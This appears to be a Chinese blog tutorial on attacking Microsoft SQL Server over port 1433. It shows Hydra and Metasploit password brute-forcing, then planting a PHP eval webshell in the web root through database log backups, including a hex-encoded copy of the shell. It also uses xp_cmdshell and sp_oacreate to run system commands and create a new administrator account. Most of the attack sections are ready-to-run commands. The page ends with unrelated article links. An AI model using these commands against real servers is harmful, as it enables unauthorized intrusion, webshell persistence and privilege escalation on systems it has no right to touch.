当前位置: 首页 > news >正文

利用1433端口及提权总结

目录

  • 1.1433端口
  • 2.hydra——mssql
  • 3.Msf——mssql
  • 4.SQL server提权过程
    • (1)使用xp_cmdshell进行提权
    • (2)xp_cmdshell 提权
    • (3)sp_oacreate提权

1.1433端口

  • 1433端口是SQL Server默认的端口,SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。
  • 首先确认SQL server 1433端口启用
    在这里插入图片描述

2.hydra——mssql

  • 创建弱口令爆破密码文件与用户名文件
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述

  • hydra 192.168.8.103 mssql -L /root/yhuser.txt -P /root/yhpasswd.txt -vV
    在这里插入图片描述


3.Msf——mssql

  • msfconsole
  • use auxiliary/scanner/mssql/mssql_login
  • set RHOSTS 192.168.8.103
  • set port 1443
  • set USER_FILE /root/yhuser.txt
  • set PASS_FILE /root/yhpasswd.txt
  • run
    在这里插入图片描述

4.SQL server提权过程

数据库提权的前提条件:

1、服务器开启数据库服务
2、获取到最高权限用户密码

(1)使用xp_cmdshell进行提权

假设条件:
1、已得到 sql server 的sa权限
2、sql server开启外联

  • create database yh

  • use yh

  • alter database yh set recovery full --修改数据库恢复模式为 完整模式

  • create table yy(a varchar(50)) --创建一张表yy,只有一个列a,类型为varchar

  • backup database yh to disk='c:\temp\yyy.bak' --备份表到指定路径

  • backup log yh to disk='c:\temp\yh1.php' with init --把操作日志备份到指定文件

  • insert into yy(a) values('<?php @eval($_POST["yh"]); ?>'); --插入一句话木马到yy表里

  • select * from yy
    在这里插入图片描述

  • backup log yh to disk='C:\WWW\yh2.php';

  • select * from yy
    在这里插入图片描述在这里插入图片描述

  • 打开yh2.php我们可以看到一句话注入木马上传成功
    在这里插入图片描述

  • 利用菜刀远程连接
    在这里插入图片描述
    在这里插入图片描述

  • create table yy1(y image) --创建一张表yy1,只有一个列y,类型为image

  • backup log yh to disk='c:\temp\imagey.php' with init --备份表到指定路径

  • insert into yy1 values(0x273c3f70687020406576616c28245f504f53545b227968225d293b203f3e27); --插入一句话到yy1表里

  • select * from yy1

  • backup log yh to disk='C:\WWW\imageay1.php';–把操作日志备份到指定文件

  • '<?php @eval($_POST["yh"]); ?>'转化为16进制开头加0x
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述

  • 利用菜刀远程连接
    在这里插入图片描述
    在这里插入图片描述

(2)xp_cmdshell 提权

  • 利用xp_cmdshell 建立文件

  • use master使用系统数据库

  • RECONFIGURE;刷新权限

  • exec sp_configure 'show advanced options',1;打开系统高级设置

  • RECONFIGURE;再次刷新权限

  • exec sp_configure 'xp_cmdshell',1;打开以操作系统命令行解释器的方式执行给定的命令字符串

  • RECONFIGURE;再次刷新权限

  • exec xp_cmdshell 'mkdir c:\myfile',no_output;在c盘下创建文件
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述

  • 利用xp_cmdshell建立远程连接

  • 首先打开sql server 远程登录,修改后重启服务SQL Server (MSSQLSERVER)
    在这里插入图片描述在这里插入图片描述

  • exec xp_cmdshell 'whoami'查看当前使用用户

  • exec xp_cmdshell 'net user'查看电脑上的用户组

  • exec xp_cmdshell 'net user yh 123456 /add';创建hacker用户

  • exec xp_cmdshell 'net localgroup Administrators yh /add';将其加入到管理员组中
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 打开exec sp_configure 'show advanced options',1;

  • recongigure

  • 关闭exec sp_configure 'xp_cmdshell',0

  • recongigure

  • 关闭exec sp_configure 'show advanced options',0;

  • recongigure

  • 要求靶机实际:需要满足以下条件 (很少能满足)
    1、xp_configure设置 两个 show advanced options,xp_cmdshell 设置为1
    2、执行net user add 设置服务的本地用户

(3)sp_oacreate提权

  • declare @shell int 声明变量shell

  • exec sp_oacreate 'wscript.shell',@shell output

  • exec sp_oamethod @shell,'run',null,'whoami'

  • declare @shelly int 声明变量shelly

  • exec sp_oacreate 'wscript.shell',@shelly output

  • exec sp_oamethod @shelly,'run',null,'net user zyh 123456 /ADD'– 建立新用户成功

  • exec sp_oamethod @shelly,'run',null,'net localgroup Administrators zyh /add';
    将其加入Administrators组

  • exec sp_oamethod @shelly,'run',null,'c:\windows\system32\cmd.exe /c mkdir c:\temp\yh '– 建立一个新文件夹

  • 结果为0,默认执行。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

相关文章:

  • 深度学习(PyTorch)——加载数据初认识与实战操作
  • MIKE水动力笔记15_数字化海图4之制作xyz水深数据
  • flex布局(理论+案例解释)
  • 如何选择合适的渠道与客户建立联系
  • 08c++呵呵老师【给子弹添加爆炸效果】
  • 【C++】泛型编程
  • JavaScript进阶(三)
  • Spring常见问题解决 - Required request body is missing
  • C++学习笔记——02
  • CREO图文教程:三维设计案例之风扇叶制作图文教程之详细攻略
  • 【写在中秋时刻】硬件冷钱包、软件冷钱包、多签(Multisig)钱包多视角比较分析
  • Java项目:SSM农业信息管理系统
  • Web安全—Web漏扫工具NetSparker安装与使用
  • 【Git】Git的使用与学习
  • centos7之service文件详解及systemctl命令使用
  • 自己简单写的 事件订阅机制
  • 【vuex入门系列02】mutation接收单个参数和多个参数
  • orm2 中文文档 3.1 模型属性
  • vue2.0项目引入element-ui
  • 阿里云应用高可用服务公测发布
  • 关于字符编码你应该知道的事情
  • 聊聊hikari连接池的leakDetectionThreshold
  • 前端性能优化——回流与重绘
  • 跳前端坑前,先看看这个!!
  • 一文看透浏览器架构
  • 译有关态射的一切
  • 追踪解析 FutureTask 源码
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • # Python csv、xlsx、json、二进制(MP3) 文件读写基本使用
  • #pragam once 和 #ifndef 预编译头
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • $HTTP_POST_VARS['']和$_POST['']的区别
  • (13)Hive调优——动态分区导致的小文件问题
  • (27)4.8 习题课
  • (ZT)一个美国文科博士的YardLife
  • (附源码)springboot宠物管理系统 毕业设计 121654
  • (附源码)基于SpringBoot和Vue的厨到家服务平台的设计与实现 毕业设计 063133
  • (附源码)计算机毕业设计ssm本地美食推荐平台
  • (附源码)小程序儿童艺术培训机构教育管理小程序 毕业设计 201740
  • (续)使用Django搭建一个完整的项目(Centos7+Nginx)
  • (学习日记)2024.01.09
  • (一)基于IDEA的JAVA基础10
  • *** 2003
  • .htaccess配置常用技巧
  • .NET CF命令行调试器MDbg入门(一)
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • .xml 下拉列表_RecyclerView嵌套recyclerview实现二级下拉列表,包含自定义IOS对话框...
  • @AutoConfigurationPackage的使用
  • @Bean有哪些属性
  • @Valid和@NotNull字段校验使用
  • @WebServiceClient注解,wsdlLocation 可配置
  • [17]JAVAEE-HTTP协议
  • [⑧ADRV902x]: Digital Pre-Distortion (DPD)学习笔记
  • [Angularjs]asp.net mvc+angularjs+web api单页应用
  • [C#]C# winform部署yolov8目标检测的openvino模型